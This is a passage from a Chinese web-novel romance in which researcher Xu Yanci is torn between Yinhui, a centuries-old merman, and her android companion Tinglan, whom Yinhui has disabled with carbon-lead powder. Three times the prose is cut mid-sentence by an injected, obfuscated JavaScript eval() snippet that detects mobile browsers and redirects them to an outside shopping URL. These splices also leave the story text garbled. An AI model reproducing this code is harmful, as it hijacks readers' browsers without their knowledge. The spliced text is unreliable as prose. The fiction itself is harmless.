“阿瓷。”他忽然唤她,声音沙哑得像生锈的齿轮第一次转动,“我真的,找了你很久很久。” 他的语气,像念着某句珍藏了很多年的咒语。 她看着他,看着那双深蓝色的眼睛里那些碎亮的光芒。 “烟瓷!” 窗外忽然传来一个声音。 “烟瓷,你哪儿?” 那声音急切,带着明显的慌乱。 是听澜! 许烟瓷猛地转头,看向窗户。 厚重的窗帘遮住了一切,但她能感觉到那个声音正在靠近,正在寻找。 一只手从身后伸过来,轻轻扣住她的肩膀。 那只手很大,很凉,带着薄茧。但力道很轻,轻到她随时可以挣开。 下一秒,她整个人被带进一个温暖的怀抱。 她的脸颊贴着他的胸膛,隔着薄薄的布料,能感觉到里面那颗心脏跳动得很慢,很沉,一下一下,像深海的潮汐。 头顶传来银洄低沉暗哑的声音,带着某种说不清的情绪: “他有什么好?不过是堆废铁!” 他的下巴抵在她发顶,说话时胸腔微微震动: “我才是你要找的那个。” 窗外的声音越来越近。 【注意注意!检测到主人的生命体征!】 【生命体征数值正常,生命体征数值正常!】 是听澜的声音。不对,是听澜的外放系统,他在找她! “烟瓷,你在这里对不对?” “我在……”许烟瓷刚开口回应,但银洄的手轻轻按住她的后脑勺,把她更深地拥进怀里。 他的怀抱很冷。 冷得像冰层下的暗涌。 可是那心跳…… 那一下一下缓慢而沉重的心跳里,滚烫如熔岩。 “别走。”他低声说,声音闷在她发间,“别丢下我。” 正前方的液晶屏幕忽然亮起。 那光刺眼,猝不及防。许烟瓷下意识闭眼,再睁开时,屏幕上已经开始播放画面。 波涛汹涌的北冰洋。镜头从高空的直升机俯拍,能看见海面上几艘白色的科考船,船身随着巨浪剧烈起伏,甲板上的人穿着橙色救生衣来回奔跑。 画面下方有时间戳,一个月前。 许烟瓷的呼吸停了一瞬。 是研究所抓捕银洄的那天。 镜头拉近。 海面上有银蓝色的光在翻涌,不是浪,是很多人鱼。他们在船队包围的缝隙间穿梭,银蓝色的尾巴划破海面,像一群被困住的星辰。 画面里突然传来画外音,是船上指挥官的喊叫: “包围圈收缩!左翼包抄!别让他们跑了!” 镜头剧烈晃动,转向另一片海域。 一条雌性人鱼正拼命往前游,她的速度比其他鱼慢很多,画面中清晰地显示着她的腹部隆起手里还抱着一条更小的幼崽,小得只能蜷缩在她怀里,尾巴短得像刚长出来。 她身后,几条雄性人鱼护着她,用身体挡住射来的麻醉弹。 弹头刺进他们的脊背,他们只是抖一下,继续往前游。 鲜血在海水中拉出长长的红线。 “快!”有人在喊,“雌的抓活的!幼崽也要!那边那边!” 更多的船围了上去。 镜头切换,变成另一架直升机的航拍视角。 画面里,人鱼群正在溃散。但他们溃散的方向,都在远离那条怀孕的雌性。几条雄性故意往相反的方向游,拍击尾巴,制造浪花,吸引追捕者的注意。 一个接一个被网住。 一个接一个被拖上船。 但他们没有出声。 然后她看见了银洄。 他游在所有族人最后面。他的尾巴上的鳞片比任何一条都亮,在灰暗的海水中像一簇燃烧的蓝色火焰。 他没有逃,只是转身,面对着那些不断逼近的船。 他仰起头,低低吟唱。 歌声悠扬。 身后的小人鱼们愣了一瞬。 他猛地甩尾,掀起巨大的浪,拍向最近的那艘船。船身剧烈倾斜,甲板上的人摔进 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17277105|198305||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 海里。 他又是一尾巴,拍向另一艘。 船队的包围圈被他硬生生撕开一道口子。 “射击!射击那个大的!”有人疯狂喊叫。 直升机上的机枪开始扫射。 子弹落在海面上,溅起密密麻麻的水花。银洄在弹雨中穿梭,尾巴一次次拍击,一次次制造混乱。他的速度太快,快得像一道银蓝色的闪电,让人根本来不及瞄准。 又一条小人鱼从他的身后逃了出去。 又一条。 又一条。 那条怀孕的雌性抱着幼崽,终于游出了包围圈。她回头看他一眼,眼里有泪。 他冲她点了点头。 然后一颗子弹击中了他的肩胛。 他的身体猛地一震,尾巴还在摆动,但明显慢了下来。 第二颗。第三颗。 血从他身上涌出来,染红了他身下的海水。但他还在游,还在挡,还在用最后的力气拍击那些想要追上去的船。 “网!放网!” 巨大的金属网从船上抛下来,带着倒钩的边缘。网落在他的尾巴上,倒钩刺进鳞片,刺进血肉,把他整个人缠住。 他猛烈地挣扎。 倒钩撕开更大的伤口,鲜血像泉涌一样喷出。他的尾巴还在拍打,但越来越慢,越来越无力。 最后一张网落下来时,他不动了。 只是漂浮在那里,被血染红的海水托着,望着那些已经远去的银蓝色光点。 镜头拉近,对准他的脸。 那双深蓝色的眼睛里,只有一片平静。 画面定格。 许烟瓷的眼泪无声地滑落。 银洄的手臂在她肩上收紧。他的下巴抵在她发顶,胸腔微微震动,但她听不见他的声音。 屏幕还在播放。 画面切换,变成船上的甲板。 银洄被拖上来,浑身的血,鳞片掉了大半,露出下面血肉模糊的皮肉。几个穿白大褂的人围上来,拿着记录板,对着他拍照,像对待一件捕获的猎物。 他躺在甲板上,一动不动,眼睛半睁半闭。 然后他忽然动了。 他转过头,看向镜头。 那双深蓝色的眼睛里,没有愤怒,只有一片遥远的温柔的光。 许烟瓷的眼泪止不住地流。 “知道那时候我在想什么吗?”银洄的声音从头顶传来,沙哑得像吞了玻璃,“被抓走也好,能让那些没长大的小鱼逃走。” 他顿了顿,深吸了一口气,“还有……我以为再也见不到你了……” “幸好,幸好!”他的手指轻轻摩挲着她的肩膀。 “值了。” 许烟瓷想说什么,可喉咙刺痛。她只能抬起手,覆在他冰凉的手背上,用力握住。 窗外传来一声撞击。 整个房间都在晃,天花板上的蓝色光点剧烈闪烁,有几颗直接熄灭了。 银洄的身体僵了一瞬。 “他在破屏障。”他低声说,声音里有一丝疲惫,“很快了。” 听到外面的警报声,许烟瓷终于从那个窒息的拥抱里回过神来。 她没有立刻挣脱,而是先让意识沉淀下来,让理性接管身体。 银洄的心跳还在她耳边,一下一下,沉重如潮汐。 许烟瓷的目光越过他的肩膀,开始扫视这个房间。 深蓝色的天花板,木质衣柜,藤编矮桌,粗陶花瓶里绽放芬芳的野花。一切都是精心布置过的,带着某种温柔的执念。但她的视线没有被这些吸引,而是精准地落在角落…… 那里有一块不起眼的面板。 白色的按钮,时隐时现的指示灯,还有几排她看不懂的纹路。但那纹路的排列方式她认识,是信号屏障的控制系统,和研究所高级别实验室用的是同一套逻辑。 她研究过。 闭着眼睛都能破解。 “阿瓷。”银洄的声音从头顶传来,低哑得像深海的暗涌,“那个梦还没完。” “其实,我们很久以前就在一起了。” 许烟瓷没有回复。 她只是轻轻吸了一口气。然后,猛地挣开他的怀抱。 那个动作干脆利落,没有一丝犹豫。银洄的手臂还维持着拥抱的姿势,僵在半空,他的眼睛里有光暗了一暗,像前世的那个夜晚,她的手,也用同样的方式从他指尖滑落。 没有回头。 她冲向那个角落,蹲下身,指尖在面板上快速划过。按钮的排列和她预想的一模一样,第三行第二个是主控开关,长按三秒可以强制解除所有屏障。 【滴……滴……滴……信号屏蔽系统即将解除!信号屏蔽系统即将解除!】 嗡—— 金属规律收起的轰鸣声从四面八方传来。那些覆盖在屋子外围的金属屏障一层层褪去,像散开的雾气。 阳光从窗外涌进来。 许烟瓷立刻站起身,推开门,冲了出去。 “还是要选择他吗?”身后那个落寞的声音喃喃道。 7. 触及 走廊尽头,阳光最盛的地方,站着一个瘦高的身影。 他的右手垂在身侧,白衬衫上沾满了海水干涸后的盐渍,还有几处暗红色的痕迹,不知道是谁的血。 阳光落在他身上,勾勒出完美的侧脸线条。 他听见脚步声,抬起头。 那双深褐色的眼睛望向她,里面似有一丝极细微的光亮了起来。 “烟瓷。” 他开口,声音沙哑得像锈迹斑斑的废铁。 许烟瓷冲过去,一把抱住了他。 她的脸埋进他的胸口,感受到那片衬衫的潮湿,还带着江水的味道。他的怀抱温暖又令人安心。 可衬衫上的水汽告诉她,他是从江中找到这里。胸腔之下呢,甚至还模拟出人类的心跳,强而有力。 听澜似乎愣了一瞬。 他的身体有极轻微的僵硬,这个拥抱超出了所有情感模块的预设。 听澜的左手停在半空,没有立刻落下。见她没有松开,他才小心翼翼地,把手环在她腰上。 他的下巴抵在她发顶,胸腔微微震动。没有说话,只是这样抱着她,感受着她的体温透过那件潮湿的衬衫传过来。 他的右手动了动。 许烟瓷感觉到他的手靠近她的后颈。 她抬起头。 阳光落在听澜的指尖,攥着的项链折射出细碎的光。 “烟瓷。”听澜看着她。 “你的项链掉了。” 什么时候丢的? 她完全没有注意到项链不见了。那是奶奶留给她的唯一一件东西,她戴了这么多年,从来没有摘下来过。 他又是怎么找到的? 她抬手去接那条项链,链子在指尖滑了过,金属的凉意从指缝间溜走。 听澜垂头,靠近她的后颈。手绕过她的肩膀,把链子的两端在她颈后扣在一起。 金属扣轻轻合上,他的指尖在她后颈的皮肤上停留了一瞬。 只是瞬,就收了回去。 许烟瓷站在那里,阳光落在她身上。 项链贴着她的锁骨,许是被他握了太久,上面还带着他的体温。 “阿瓷。” 身后传来一个声音,沉得像深海的潮汐。 许烟瓷回过头。 走廊另一端的阴影里,银洄不知何时走了出来。他站在那里,半边身子被阴影笼罩,半边脸被阳光照得近乎透明。深蓝色的长发垂落在肩头,幽蓝的眼睛直直盯着她。 “虽然是一堆废铁,不过倒是会勾引人。”他轻声说,嘴角扯出一个极淡的弧度。 听澜没有松开环在许烟瓷腰间的手。抬头,看向银洄,那双深褐色的眼睛里静如古井。 “她不是前世的她。”听澜继续说,每一个字都像钉子一样稳稳落下,“烟瓷没有伤害过你,没有参与过抓捕,没做过任何对不起你的事。现在的她不知道那些事。” 银洄的眼神微微一闪。 “如果你真的等了她三百年年,就应该知道……” 他顿了顿,声音低了下去,却坚定异常:“爱一个人,是让她自由选择。不是用过去绑架她。” “人造废铁,废话也多。” 听澜没理会他的讽刺,揽着许烟瓷的肩膀,转身朝大门走去。步伐很稳,没有回头。 身后的银洄站在那里,阳光把他修长的影子投在地上。 他看着那个渐行渐远的身影,嘴角微微勾起,却带着某种笃定。 “没关系,阿瓷。”他轻声说,声音低得只有自己能听见,“你很快会回来求我的。” 风吹过花园,带起几片落叶。 那双幽蓝的眼睛里,似有什么东西在慢慢燃烧。 —————— 车子驶回市区时,天已经快黑了。 许烟瓷靠在副驾驶座上,看着窗外飞速后退的夜景。霓虹灯在玻璃上拖出彩色的流线,把她的脸映得忽明忽暗。 听澜开车很稳,和从前一样。 许烟瓷注意到,他的衬衫还是湿的,袖口还滴着水。幸好他是机器,不会真的冷。 “回家先洗个热水澡。”她说。 听澜点头。 回到家,他径直去了厨房。许烟瓷站在浴室里,热水从头顶倾泻而下,冲刷着疲惫的身体。雾气蒸腾,模糊了镜子的边缘。 她闭上眼睛,脑海里却反复出现那些画面: 银洄破碎的眼神。 听澜沙哑的声音。 还有那条项链…… 不知过了多久,她擦干头发,换上睡裙走出浴室。 客厅里飘来饭菜的香气。 听澜站在餐桌旁,把最后一道菜放下。他的衬衫换过了,现在是干净的白色,头发也吹干了,恢复了干净整齐的模样。 饭菜刚好摆在桌上,温度把握得恰到好处。汤还冒着热气,菜的颜色鲜亮。 “别想糟心事,先吃饭。”听澜说,拉开椅子。 许烟瓷坐下,拿起筷子,却没有立刻动。 “你听到了?”她问。 刚才在浴室里,手机响过。赵主任打来的电话,那些话……听澜肯定听到了。 听澜点点头。 “下周有个研究会,关于海洋生物研究的。”他说,“各国专家都会来,让你代表研究所发言。” 许烟瓷苦笑了一下:“这哪里是机会,分明是刁难。让我在各国专家面前班门弄斧,出了丑正好有理由把我踢出项目。” 听澜在她对面坐下。 “我可以帮你整理资料,制作PPT。”他说,“我的数据库里有近十年所有相关领域的论文,可以帮你筛选最有价值的信息。” 许烟瓷看着他,心里涌起一股暖意。 但随即,她摇了摇头。 “不用。”她说,“我自己来。” 听澜微微侧头,像是不理解。 许烟瓷放下筷子,认真地看着他:“我知道你能帮我,而且能帮得很好。但这是我自己的事,是我的职业,是我的战场。我不能永远靠你。” 她顿了顿。 “而且,那些专家又不是三头六臂。我读了这么多年书,做了这么多年研究,凭什么要在他们面前露怯?” 听澜看着她。 “好。”他说,嘴角弯起一个很淡很淡的弧度,“那我给你做后勤。” 许烟瓷刚吃了几口饭,手机就疯狂地震动起来。 屏幕上跳动着“林薇”两个字,还有一连串的未接来电提示:整整八个。 许烟瓷接通,还没来得及说话,那边就开始怒号:“你失联啦!” 林薇的声音震得她耳朵发麻,“两天了!整整两天!我给你打了二十多个电话!你一个都没接!” “没有没有,”许烟瓷把手机拿远了一点,“这不是回来了吗这不是!” “我在你楼下!快下来!陪我去喝东西!” 许烟瓷愣了愣,走到窗边往下看。果然,小区门口停着一辆眼熟的车,林薇半个身子探出车窗,正朝她疯狂挥手。 “现在?” “就现在!别废话!十分钟不下来我就上去砸门!” 电话挂断了。 许烟瓷叹了口气,转身看向听澜。 “林薇找我。”她说,“你在家等我,我很快回来。” 听澜点点头,站起来,从衣架上取下那件驼色风衣,递给她。 “外面凉。”他说。 许烟瓷接过风衣,披在身上,推门出去。 小区门口,林薇已经站在路边了。 她穿着一件oversized的牛仔外套,里面搭着黑色的吊带,下身是紧身牛仔裤和马丁靴。头发胡乱扎了个丸子,几缕碎发散落在脸侧。明明是失恋该憔悴的样子,看起来却像刚打完架的野猫,浑身炸着毛。 “许烟瓷!”她一把抱住走过来的许烟瓷,“你可算出来了!” 许烟瓷被她勒得喘不过气:“松手松手,要死了。” 林薇松开她,上下打量了一番:“嗯,还活着,没缺胳膊少腿。行,走吧,陪我去喝东西。” 两人沿着街道往前走。初秋的夜风有点凉,吹得路边的梧桐叶沙沙响。林薇一路走一路骂: “老娘现在情场失意,沙场更失意!新项目卡瓶颈了,一点头绪都没有!偏偏新上司还不把我们底层牛马当人,每天加班到凌晨!凌晨!你知道吗,凌晨三点还在群里艾特我!说方案不行,重做!我特么……” 许烟瓷默默听着,偶尔“嗯”一声。 她们走进常去的那家小酒吧,找了个角落的位置坐下。林薇点了一打啤酒,刚上来就仰头干掉半瓶。 “你说,文亦辰那个王八蛋,”她放下酒瓶,眼眶有点红,“说走就走,说出国就出国,连个招呼都不打。” 许烟瓷递给她一张纸巾。 “我特么还以为这次是真爱呢,”林薇擦擦眼角,“结果呢?人家前程似锦,说飞就飞,留我一个人在这儿加班加到秃头。” “他没跟你说为什么吗?” “说了。”林薇又灌了一口酒,“说什么项目需要,说什么没办法,说什么等他回来。屁!老娘等他回来?等他回来当备胎吗?” 许烟瓷看着她,没说话。 林薇的酒量她是知道的。每次吆喝得最响,什么“不醉不归”“今天必须喝倒”,结果五杯就倒,比谁都准。 果然,第四杯下去,林薇的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17277106|198305||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼神就开始涣散。 “对了烟瓷,”她忽然想起什么,凑过来压低声音,“听澜有个弱点,我还没来得及修复。” 许烟瓷心里一动:“什么弱点?” “就是千万不能接触碳……”林薇打了个酒嗝,眼神更涣散了,“否则……会变成一堆……” 话没说完,她的脑袋往下一栽,直接趴在桌上不动了。 “不能接触什么?”许烟瓷推了推她,“林薇?林薇!” 回应她的只有均匀的呼吸声。 许烟瓷无奈地叹了口气。 “每次都这样。”她认命地把林薇从桌上扶起来,架着她的胳膊往外走。 刚走到门口,迎面走来一个人。 黑色风衣,身形颀长,鼻梁上架着一副金丝框眼镜。镜片后面的眼睛深邃沉静,带着一种久居上位者的疏离感。 许烟瓷一眼就认出来了。 文亦辰。 林薇的男朋友。他的打扮跟大学时候没什么区别,永远是一丝不苟的样子。唯一的变化是脸上多了那副金丝框眼镜,让他看起来更成熟,也更……难以捉摸了。 “把她给我吧。”文亦辰伸手,动作自然得好像他们昨天还在一起,“我送她回去。” 许烟瓷没有立刻松手。 “你们到底怎么回事?”她问。 文亦辰沉默了一秒。 “一两句话解释不清楚。”他说,语气很平静,但许烟瓷听出了一丝疲惫,“不过我确实得出国一段时间,但不代表要放弃和她的感情。” 他接过林薇,动作很轻。林薇在他怀里蹭了蹭,嘟囔了一句:“混蛋!”,又沉沉睡去。 许烟瓷跟着走出去,看着文亦辰把林薇放进车后座,给她系好安全带,又脱下自己的风衣盖在她身上。 “别辜负她。” “放心吧。”他关上车门,转过身,认真地说,“你知道我对她的感情。” 许烟瓷当然知道。从大学到现在,这么多年,文亦辰对林薇的好,所有人都看在眼里。只是这段感情从一开始就是异地,后来林薇排除万难来到他身边,现在他居然又要出国。 “我无权干涉你们的事,”许烟瓷说,“但是你如果让她受伤,我不会放过你。” 文亦辰勾唇笑了笑,“好的。” 然后转身上车,一脚油门,车子消失在夜色里。 许烟瓷站在原地,看着那辆车的尾灯越来越远,最后融入城市的万家灯火。 夜风吹过来,有点凉。她拢了拢风衣,转身往回走。 出了电梯,许烟瓷打开门。 客厅里很安静,只有电视里传来的新闻报道。 “听澜?”她叫了一声。 没有回应。 她又叫了一声,还是没回应。 心里忽然涌起一阵不安。她快步走进客厅,然后愣住了。 听澜坐在沙发上,背脊挺直,双手搭在膝盖上,像一尊雕塑。但那双眼睛闭着,没有任何反应。 她冲过去,推了推他的肩膀。 “听澜!听澜!” 没有回应。 他的皮肤有些凉,那个总是第一时间回应她的声音,也消失了。 许烟瓷的手开始发抖。 她仔细检查他的身体,手指停在他衬衫领口。 突然想起林薇说过的话,那些没来得及说完的醉话。听澜的弱点,千万不能接触的东西,会变成一堆什么…… 可开关在哪里?隐约记得林薇说在很隐蔽的地方,不会是……那里吧…… 许烟瓷深吸一口气,伸手解开他衬衫的第一颗扣子。 然后是第二颗。 第三颗。 衬衫敞开,露出里面的肌肤。 灯光落在他身上,勾勒出流畅的肌肉线条。他的皮肤是那种玉石般温润的光泽。 许烟瓷的手顿住了。 掌下是宽阔的胸膛,紧实的腹肌,线条分明的人鱼线从腰侧向下延伸,消失在裤腰里。每一寸肌肉都恰到好处,像古希腊雕塑一样,精确、完美、浑然天成。 她的脸腾地红了。 明知道他是AI,明知道这些肌肉只是仿生材料包裹之下的精密机械,明知道此刻不是想这些的时候…… 可她的手指还是僵在半空,不知道该往哪里放。 “冷静。”她对自己说,“许烟瓷,冷静。这是机器,不是……” 不是人类! 她咬了咬牙,把目光从他腹肌上移开,专注地寻找开关。 可是没有。 胸膛上没有,腰侧没有,背后也没有。她翻来覆去地摸索,手指划过那些紧实的肌肉,感受着微凉皮肤下微微的起伏。 8. 故障 那触感太真实了,真实到她几乎能感觉到皮肤下血液的流动。 “到底在哪……” 她急得额角渗出细汗。 她忽然想起林薇一脸坏笑地跟她说过,“烟瓷,听澜的开关设计的很隐蔽哦,在后腰上!要是出现故障,重启要摸一遍他的腰……” 后腰。 许烟瓷的手探向他腰后。 手指触碰到那片皮肤时,她明显感觉到自己的耳尖在发烫。他的腰很窄,肌肉紧实,脊柱的凹陷处有一条浅浅的沟壑。她的手指顺着那道沟往下摸索…… 然后触到了一个微微凸起的地方。 圆形,很小,藏在腰窝的位置。 她按下去。 咔哒。 听澜的身体轻轻一震。 那双眼睛缓缓睁开。深褐色的瞳孔在月光下微微收缩,然后聚焦在她脸上。 “烟瓷。”他开口,声音还有些沙哑,“你……在做什么?” 许烟瓷低头看了看自己——双手还撑在他身侧,整个人几乎趴在他身上,他的衬衫敞开着,露出大片胸膛和腹肌。 她的脸瞬间烧成一片。 “我……那个……你出故障了!我在重启你!”她手忙脚乱地往后缩,却忘了自己半跪在沙发上,重心一歪,整个人朝后仰去。 一只手揽住了她的腰。 听澜的动作很快,快到她的后背还没沾到地板,就被他捞了回来。 “小心。”他说。 许烟瓷的脸贴着他的胸口,隔着那层薄薄的皮肤,能感觉到里面那颗模拟心脏正在规律地跳动。 咚!咚!咚!一下一下,真实地像是人类。 她闻到他身上淡淡的皂味道。 “你……你先穿好衣服。”她闷声说。 听澜低头看了看自己敞开的衬衫,又看了看她红透的耳尖。 他没有立刻动。 只是这样揽着她,让她靠在自己胸口。 “好。”他说,声音里带着一丝愉悦。 听澜垂眸看着她。 明媚的灯光落在她红透的耳尖和慌乱垂下的睫毛上,她微微抿着的唇,不敢看他。 他的手还环在她腰间,力道很轻,却让她无处可逃。 “烟瓷。”他轻声唤她。 许烟瓷抬起头。 月光下,他的眼睛很深,深得像两潭看不见底的湖,却又莫名让她心跳加速的东西。 他慢慢低下头。 但许烟瓷没有躲。 她只是怔怔地看着他靠近,看着他的睫毛在月光下投出浅浅的阴影,看着他温热的呼吸拂过她的脸颊。 太近了…… 她的心跳快得像要从胸腔里蹦出来,那颗心脏完全不听话,敲得她耳膜发震。 就在他的唇即将贴上她的那一刻,那双眼睛闭上了。 揽在她腰间的手松开,重重垂落。 他的身体往后倒去,倒在沙发靠背上,一动不动。 又断电了? 许烟瓷愣在那里。 她的心跳还疯狂地敲着。 “听澜?听澜!” 没有回应。 他闭着眼睛,呼吸停止,体温还在,但已经没有任何反应了。 许烟瓷深吸一口气,压下心里那股说不清是失落还是懊恼的情绪,重新检查他的身体。 虽然一直研究的是海洋生物,但新兴的AI技术她多少也了解一些。林薇那个话痨每次见面都要念叨她的新发现、新突破、新难题,听得多了,自然也懂点皮毛。 直觉告诉她,这次没那么简单。 她仔细检查他的皮肤,接口,和每一处可能被入侵的地方。手指划过他的身体…… 然后她发现了一些东西。 那些微小的、几乎看不见的黑色颗粒,沾在他的衬衫上,皮肤上,甚至头发里。她用指尖拈起一点,凑到月光下细看。 碳铅粉! 人类接触到没有什么影响,却能干扰AI的信号传输。只要接触到,就会一层层渗透,阻断核心处理器与外部系统的连接。 猛然想起银洄说,她很快就会回去找他。 不是巧合。 是他做的。 许烟瓷攥紧了拳头。 她站起身,抓起茶几上的车钥匙,大步走出门。 地下停车场很安静,只有她的脚步声在空旷的空间里回响。 许烟瓷拉开车门,坐进驾驶座,发动引擎。 车子冲出停车场,驶入夜色。 她在脑海中搜索那条路线——听澜带她走过两次的路线。从市区到郊区,穿过四环的高架,然后拐进临山路。 夜晚的道路和白天完全不同。 市区明亮繁华,霓虹灯把天空映成暖橙色。但上了高架之后,灯光越来越少,越来越稀疏。等拐进临山路,世界仿佛一瞬间变了样。 那是盘山公路。 路很窄,只够两车勉强并行。没有路灯,没有任何光源,只有她的车灯照出前方一小片光亮。车灯探过去的距离有限,再往前就是浓得化不开的黑暗。 周遭一片漆黑。 光尽头完全被黑暗吞噬,像一张巨大的网,等着她开进去。 许烟瓷握紧方向盘,盯着前方那片不断被车灯撕开又合拢的黑暗,继续往前开。 脑海中忽然闪过一个念头,听澜那天,就是沿着这条路,找到她的吗? 那么远的路…… 他就那样一步一步走过来,手里攥着她的项链。 她咬了咬牙,踩下油门。 终于,那条隐秘的小路出现在视野里。 许烟瓷把车停在路边。 前面已经没有好走的路了。她推开车门,踩在被掘开的石板路上,深一脚浅一脚地往上走。 出来的时候太急,她穿的是那双小方跟的皮鞋。鞋跟卡在石缝里,拔出来,又卡进去,走得她满头大汗。 不用想也知道是那条鱼干的好事。 放着好好的石板路不走,非要刨了重铺,铺成这种坑坑洼洼走一步崴三步的变态路。 许烟瓷边走边小声骂: “这鱼变态了,弄得路也这么变态。” 她一脚踩空,差点摔倒,扶着旁边的树干稳住身形。 “一条鱼不住水边,住山里,当自己是山神啊?” 又走几步,鞋跟又卡住了。她使劲拔出来,对着黑暗狠狠翻了个白眼。 “也不知道那条死变态的作息,这个点他睡了没有?不会让老娘等到明天早上吧?” 话音刚落,身后响起一个沉稳的声音: “没睡,我在等你。” 许烟瓷浑身一僵。 她猛地回头—— 月光和星辉之下,别墅前的花园里,坐着一个人。 修长的身影,深蓝色的长发,在夜色中泛着幽幽的冷光。他就那样安静地坐在藤椅上,不知道坐了多久,也不知道听她骂了多久。 许烟瓷的心跳漏了一拍,随即疯狂地敲起来。 这变态坐这儿想吓死人啊! 她刚才那些话……什么“变态”、“山神”一类的,他全听见了? 全听见了?! 许烟瓷僵在原地,脸上烧起一片。 但社畜多年锻炼出来的应急反应让她迅速调整表情。她讪笑着,朝他挥了挥手: “哈……哈哈,咋坐这儿了?晚上挺凉的呢。” 话一出口她就后悔了,这不是废话吗?他坐这儿当然是在等她。至于凉不凉…… 银洄站起身,朝她走来。 “我是说外面冷。”她赶紧补了一句,显得自己是在关心他。 银洄走到她面前,月光从身后照过来,在他身上镀了一层银辉。深蓝色的长发垂落在肩头,发尾泛着幽幽的光。他的面容在夜色中愈发显得白皙,近乎透明,像一尊月光雕刻出来的神像。 人鱼一族向来拥有顶级的美貌。 许烟瓷强迫自己镇定下来,才没有被眼前的美色诱惑。 他离她很近,近到她能闻到他身上那股淡淡的香,像某种木质香调,神秘又古老。 “海里比这儿冷。”他说。 声音很轻,很淡,却让 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17277107|198305||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 许烟瓷心里莫名一颤。 她忽然想起那些画面。他蜷缩在笼子里,头发脏乱,嘴里喊着“阿娘”。 那个时候,他一定很冷吧。 许烟瓷甩了甩头,把那些画面赶出去。不能被他的美色和可怜迷惑,她今天是来算账的。 “你对听澜做了什么?”她问,声音硬起来。 银洄看着她,没有说话。 月光下,那双眼睛像透亮的宝石。 他转过身,朝别墅走去。 修长的手指搭上门把,轻轻一推。门开了,屋内明亮温暖的光透过来,在黑暗的夜色中切出一方暖黄色的天地。 他站在光里,回头看她。 “进来喝杯茶吗?” 声音很轻,带着一丝笑意。 许烟瓷没有动。 “我是来找答案的。”她说。什么人半夜喝茶?是怕不会失眠吗! 银洄看着她,嘴角弯起一个极淡的弧度。 “答案在里面。”他说,“进来,就知道了。” 他推开门,走进那片暖黄色的光里。 深蓝色的长发在光中泛着柔和的光泽,修长的身影被灯光拉出一道长长的影子。 许烟瓷站在门口,看着那道光。 身后是无边的黑暗和冷风,前方的屋子明亮温暖。 她咬了咬牙,迈步跟了进去。 室内的温暖瞬间包裹了她。 布置很简单,却处处透着用心。原木色的家具,柔软的织物。 墙上挂着的那些画,都是海,不同时间、不同光线下的海。清晨的,黄昏的,月下的,风暴将至的,风平浪静的。 茶几上摆着一套白瓷茶具,茶水还冒着热气。显然是刚沏好的,一直在等她。 银洄在沙发上坐下,抬手示意她坐对面。 许烟瓷没动,只是站在门口,直视着他。 “你对听澜做了什么?” 银洄端起茶杯,轻轻抿了一口。 “你那么紧张他?”他问,语气很淡。 “当然。” 银洄的手顿了一下。 那双幽蓝的眼睛抬起来,看向她。 “紧张他。”他重复了一遍,声音更轻了。 他放下茶杯,站起身,走向窗边。 月光从窗户照进来,落在他身上。他站在那里,背对着她,深蓝色的长发垂落在肩头。 “你知道这栋别墅,我住了多久吗?”他忽然问。 许烟瓷愣了愣。 “七十三年。”他说,“原本我以为等不到你了,不打算再回来。” “这里没有水。离海很远。我一个人住在这里,七三年。可是你回来了!” 人鱼应该住在海里。应该在水里自由地游弋,和族人一起在深海中穿行。 而他住在这里。 在远离水的孤独的房子里。 一个人。 “为什么?”她问。 银洄没有回答。 他抬起手,指尖轻触窗户玻璃。月光下,那截手指苍白得像透明。 “那些碳粉,”他说,“是我放的。” 许烟瓷攥紧了拳头。 “那种碳铅混合物,可以阻断信号传输。只要接触足够久,他就会彻底瘫痪。” “你!” “但杀不死他。”银洄转过身,看着她,“只是暂时关机而已。你知道为什么吗?” 许烟瓷没有接话。继续腹诽,还能为什么?因为你神经病,被海水泡久了,脑回路清奇跟陆地上的人类不一样! “因为我不想你难过。”他说,“我讨厌他,但是不忍心你难过。” 许烟瓷蹙眉,这条破鱼又开始发表绿茶言论了,在江底发疯的时候怎么不想她会难过! “我等了你好久。”银洄轻声说,“你终于回来了。” “别再推开好吗?那堆铁是人造的。他的感情是代码,他身上的一切都是为了服务人类设定的。” “而我……” 他抬起手,轻轻按在自己胸口。 “才是你的爱人。” 9. 线索 许烟瓷看着他。 那张脸确实好看,好看到让人移不开眼。深蓝色的长发,幽蓝的眼眸,修长的身姿,月光下整个人像从画里走出来的神祇。 可是…… 许烟瓷心里继续腹诽:这几百岁的老东西真是喋喋不休的够烦人的,上辈子的事还拿着来回说!她是不是还应该记得,白垩纪时期自己是如何进化成人类的整个过程? 再说,一个涉世未深的小女孩,怎么可能喜欢一条营养不良的人鱼? 但是为了得到吸附碳铅粉末的材料,她只好陪着笑,尽量让自己的表情看起来真诚些: 